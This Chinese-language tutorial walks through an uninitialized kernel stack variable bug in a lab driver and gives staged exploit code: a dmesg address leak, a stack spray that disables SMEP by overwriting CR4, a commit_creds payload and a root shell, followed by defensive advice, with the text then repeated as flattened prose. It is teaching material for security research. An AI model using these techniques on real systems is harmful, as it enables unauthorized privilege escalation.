linux内核提权系列教程(3):栈变量未初始化漏洞
字数 1115 2025-08-25 22:59:09

Linux内核提权系列教程(3): 栈变量未初始化漏洞分析与利用

一、漏洞概述

本教程将详细讲解Linux内核中栈变量未初始化漏洞的原理、分析和利用方法。这种漏洞类型在内核开发中较为常见,可能导致权限提升等严重后果。

二、实验环境准备

实验所需材料:

  • 驱动源码
  • bzImage (内核镜像)
  • cpio文件 (根文件系统)

可从作者的GitHub仓库获取这些材料。

三、漏洞分析

1. 驱动功能分析

驱动提供了两个主要功能,通过ioctl系统调用实现:

case UNINITIALISED_STACK_ALLOC: {
    ret = copy_to_stack((char *)p_arg);
    break;
}
case UNINITIALISED_STACK_USE: {
    use_obj_args use_obj_arg;
    if (copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
        return -EINVAL;
    use_stack_obj(&use_obj_arg);
    break;
}

功能1: UNINITIALISED_STACK_ALLOC

#define BUFF_SIZE 4096
noinline static int copy_to_stack(char __user *user_buff) {
    int ret;
    char buff[BUFF_SIZE];
    ret = copy_from_user(buff, user_buff, BUFF_SIZE);
    buff[BUFF_SIZE - 1] = 0;
    return ret;
}

此功能允许用户向内核栈上传入最多4096字节的数据。

功能2: UNINITIALISED_STACK_USE

noinline static void use_stack_obj(use_obj_args *use_obj_arg) {
    volatile stack_obj s_obj; // volatile防止编译器优化
    if (use_obj_arg->option == 0) {
        s_obj.fn = uninitialised_callback;
        s_obj.fn_arg = use_obj_arg->fn_arg;
    }
    s_obj.fn(s_obj.fn_arg);
}

相关数据结构:

typedef struct stack_obj {
    int do_callback;
    long fn_arg;
    void (*fn)(long);
    char buff[48];
} stack_obj;

typedef struct use_obj_args {
    int option;
    long fn_arg;
} use_obj_args;

2. 漏洞点分析

关键漏洞在于use_stack_obj函数中:

  • 只有当use_obj_arg->option == 0时,才会初始化stack_obj对象
  • 如果option != 0s_obj将保持未初始化状态
  • 但无论如何都会调用s_obj.fn(s_obj.fn_arg)

这导致了内核栈变量未初始化引用错误,攻击者可以控制未初始化的栈数据。

四、漏洞利用

1. 利用思路

  1. 利用UNINITIALISED_STACK_ALLOC功能布置内核栈
  2. 通过UNINITIALISED_STACK_USE触发未初始化变量使用
  3. 控制执行流实现提权

2. 详细利用步骤

(1) 单核执行

void force_single_core() {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask))
        printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault\n");
    return;
}

确保程序只在单核上运行,避免多核带来的问题。

(2) 泄露内核基址

pid_t pid = fork();
if (pid == 0){
    do_page_fault();
    exit(0);
}
int status;
wait(&status);
printf("[+] Begin to leak address by dmesg;
size_t kernel_base = get_info_leak() - sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+]\n", kernel_base);

通过制造页错误从dmesg中泄露内核地址。

(3) 关闭SMEP

char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj = {
    .option = 1,
    .fn_arg = 1337,
};

for (int i = 0; i < 4096; i += 16) {
    memcpy(buf + i, &fake_cr4, 8); // fake_cr4地址
    memcpy(buf + i + 8, &native_write_cr4_addr, 8); // native_write_cr4_addr地址
}

ioctl(fd, UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);

通过覆盖CR4寄存器关闭SMEP保护。

(4) 提权

size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for (int i = 0; i < 4096; i += 8)
    memcpy(buf + i, &get_root_addr, 8);

ioctl(fd, UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);

执行commit_creds(prepare_kernel_cred(0))实现提权。

(5) 获取root shell

if (getuid() == 0) {
    printf("[+] Congratulations! You get root shell !!! [+]\n");
    system("/bin/sh");
}

五、关键点总结

  1. 漏洞本质:条件分支中变量初始化不完整,导致未初始化栈变量被使用
  2. 利用前提:能够控制或预测未初始化栈变量的内容
  3. 利用技巧
    • 通过UNINITIALISED_STACK_ALLOC布置内核栈
    • 精心构造数据覆盖未初始化变量
    • 分阶段利用:先泄露地址,再关闭保护,最后提权
  4. 防御绕过:需要处理SMEP/SMAP等保护机制

六、防御建议

  1. 始终初始化栈变量
  2. 使用编译器选项检测未初始化变量(如GCC的-Wuninitialized
  3. 启用内核栈保护机制(如STACKLEAK, STACKPROTECTOR)
  4. 保持SMEP/SMAP启用状态

通过本教程,读者可以深入理解栈变量未初始化漏洞的原理和利用方法,为内核安全研究和防御提供参考。

Linux内核提权系列教程(3): 栈变量未初始化漏洞分析与利用 一、漏洞概述 本教程将详细讲解Linux内核中栈变量未初始化漏洞的原理、分析和利用方法。这种漏洞类型在内核开发中较为常见,可能导致权限提升等严重后果。 二、实验环境准备 实验所需材料: 驱动源码 bzImage (内核镜像) cpio文件 (根文件系统) 可从作者的GitHub仓库获取这些材料。 三、漏洞分析 1. 驱动功能分析 驱动提供了两个主要功能,通过ioctl系统调用实现: 功能1: UNINITIALISED_ STACK_ ALLOC 此功能允许用户向内核栈上传入最多4096字节的数据。 功能2: UNINITIALISED_ STACK_ USE 相关数据结构: 2. 漏洞点分析 关键漏洞在于 use_stack_obj 函数中: 只有当 use_obj_arg->option == 0 时,才会初始化 stack_obj 对象 如果 option != 0 , s_obj 将保持未初始化状态 但无论如何都会调用 s_obj.fn(s_obj.fn_arg) 这导致了内核栈变量未初始化引用错误,攻击者可以控制未初始化的栈数据。 四、漏洞利用 1. 利用思路 利用 UNINITIALISED_STACK_ALLOC 功能布置内核栈 通过 UNINITIALISED_STACK_USE 触发未初始化变量使用 控制执行流实现提权 2. 详细利用步骤 (1) 单核执行 确保程序只在单核上运行,避免多核带来的问题。 (2) 泄露内核基址 通过制造页错误从dmesg中泄露内核地址。 (3) 关闭SMEP 通过覆盖CR4寄存器关闭SMEP保护。 (4) 提权 执行 commit_creds(prepare_kernel_cred(0)) 实现提权。 (5) 获取root shell 五、关键点总结 漏洞本质 :条件分支中变量初始化不完整,导致未初始化栈变量被使用 利用前提 :能够控制或预测未初始化栈变量的内容 利用技巧 : 通过 UNINITIALISED_STACK_ALLOC 布置内核栈 精心构造数据覆盖未初始化变量 分阶段利用:先泄露地址,再关闭保护,最后提权 防御绕过 :需要处理SMEP/SMAP等保护机制 六、防御建议 始终初始化栈变量 使用编译器选项检测未初始化变量(如GCC的 -Wuninitialized ) 启用内核栈保护机制(如STACKLEAK, STACKPROTECTOR) 保持SMEP/SMAP启用状态 通过本教程,读者可以深入理解栈变量未初始化漏洞的原理和利用方法,为内核安全研究和防御提供参考。